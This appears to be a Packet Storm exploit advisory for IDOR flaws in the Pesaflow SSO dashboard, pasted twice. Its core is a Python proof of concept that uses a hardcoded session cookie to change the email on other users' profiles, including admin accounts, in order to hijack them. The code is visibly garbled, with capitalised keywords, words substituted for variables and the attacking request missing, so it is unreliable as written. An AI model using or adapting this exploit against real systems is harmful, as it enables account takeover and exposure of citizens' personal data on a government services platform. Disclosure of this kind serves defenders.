Description
Authentic 8 has an broken access control that can be leveraged via insecure direct object reference that can lead to PII information disclosure...
Basic Information
ID
PACKETSTORM:218773
Published
Apr 13, 2026 at 00:00
Affected Product
Affected Versions
==================================================================================================================================
| # Title : Authentic 8 Pesaflow SSO Dashboard IDOR Vulnerabilities |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://pesaflow.com/ |
==================================================================================================================================
[+] Summary : Several critical security vulnerabilities have been identified in the Pesaflow e-services platform and its associated administration portal.
These vulnerabilities include an Insecure Direct Object Access (IDOR) vulnerability that allows unauthorized access to sensitive user data,
an authentication/authorization flaw that could lead to unauthorized access to the administration control panel, and a weakness in file upload restrictions that allows the uploading of malicious files.
These vulnerabilities could allow an attacker to access personally identifiable information (PII), compromise administration accounts, and manipulate government services.
It is strongly advised to address these vulnerabilities immediately to prevent data breaches and system compromise.
[+] POC : Unauthorized Account Modification via IDOR in User Profile Management Endpoint This means you register a regular account, but you need a session cookie to choose an ID number for another account and change its email, especially if it's an admin account.
Import Requests
From bs4 Import BeautifulSoup
TARGET_PROFILES = [92459]
MY_COOKIE = "_single_signon_key=feX/ygNzIB73dmAxWodOZ22U446F5pf1B1v+NPUPlj4uAE8T1FbZml XrH1UxDNO/DZeHERGSyP/HJFAczYwioR9zSNijJRe+W01PYTU+RNK4Wmo3Y6PnKa6xpKdvGxvW"
NEW_EMAIL = "[email protected]"
Session = Requests. Session()
Session.Heads.Update({
"User Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0"
"Cookie": MY_COOKIE
})
Define pwn_account(profile_id):
Profile_url = f"https://example/user-profile/{profile_id}"
Precision = session.get(profile_url)
If res.status_code != 200:
Print (f"[-] Cannot reach profile {profile_id}")
Returns
Soup = BeautifulSoup(res.text, 'html.parser')
Token = sauce.find("meta", {"name": "csrf-token"})['content']
update_url = f"https://example/users/{profile_id}/verify"
payload = {
"_csrf_token": token,
"user[email]": NEW_EMAIL,
"user[current_email]": "[email protected]"
}
If Attack.status_code is at [200, 302]:
print(f"[+ Successfully hijacked] Profile ID: {profile_id} is now associated with {NEW_EMAIL}")
Other:
print(f"[-] Failed to hijack {profile_id}. Status: {attack.status_code}")
Personal ID in target profiles:
pwn_account(pid)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================
| # Title : Authentic 8 Pesaflow SSO Dashboard IDOR Vulnerabilities |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://pesaflow.com/ |
==================================================================================================================================
[+] Summary : Several critical security vulnerabilities have been identified in the Pesaflow e-services platform and its associated administration portal.
These vulnerabilities include an Insecure Direct Object Access (IDOR) vulnerability that allows unauthorized access to sensitive user data,
an authentication/authorization flaw that could lead to unauthorized access to the administration control panel, and a weakness in file upload restrictions that allows the uploading of malicious files.
These vulnerabilities could allow an attacker to access personally identifiable information (PII), compromise administration accounts, and manipulate government services.
It is strongly advised to address these vulnerabilities immediately to prevent data breaches and system compromise.
[+] POC : Unauthorized Account Modification via IDOR in User Profile Management Endpoint This means you register a regular account, but you need a session cookie to choose an ID number for another account and change its email, especially if it's an admin account.
Import Requests
From bs4 Import BeautifulSoup
TARGET_PROFILES = [92459]
MY_COOKIE = "_single_signon_key=feX/ygNzIB73dmAxWodOZ22U446F5pf1B1v+NPUPlj4uAE8T1FbZml XrH1UxDNO/DZeHERGSyP/HJFAczYwioR9zSNijJRe+W01PYTU+RNK4Wmo3Y6PnKa6xpKdvGxvW"
NEW_EMAIL = "[email protected]"
Session = Requests. Session()
Session.Heads.Update({
"User Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0"
"Cookie": MY_COOKIE
})
Define pwn_account(profile_id):
Profile_url = f"https://example/user-profile/{profile_id}"
Precision = session.get(profile_url)
If res.status_code != 200:
Print (f"[-] Cannot reach profile {profile_id}")
Returns
Soup = BeautifulSoup(res.text, 'html.parser')
Token = sauce.find("meta", {"name": "csrf-token"})['content']
update_url = f"https://example/users/{profile_id}/verify"
payload = {
"_csrf_token": token,
"user[email]": NEW_EMAIL,
"user[current_email]": "[email protected]"
}
If Attack.status_code is at [200, 302]:
print(f"[+ Successfully hijacked] Profile ID: {profile_id} is now associated with {NEW_EMAIL}")
Other:
print(f"[-] Failed to hijack {profile_id}. Status: {attack.status_code}")
Personal ID in target profiles:
pwn_account(pid)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================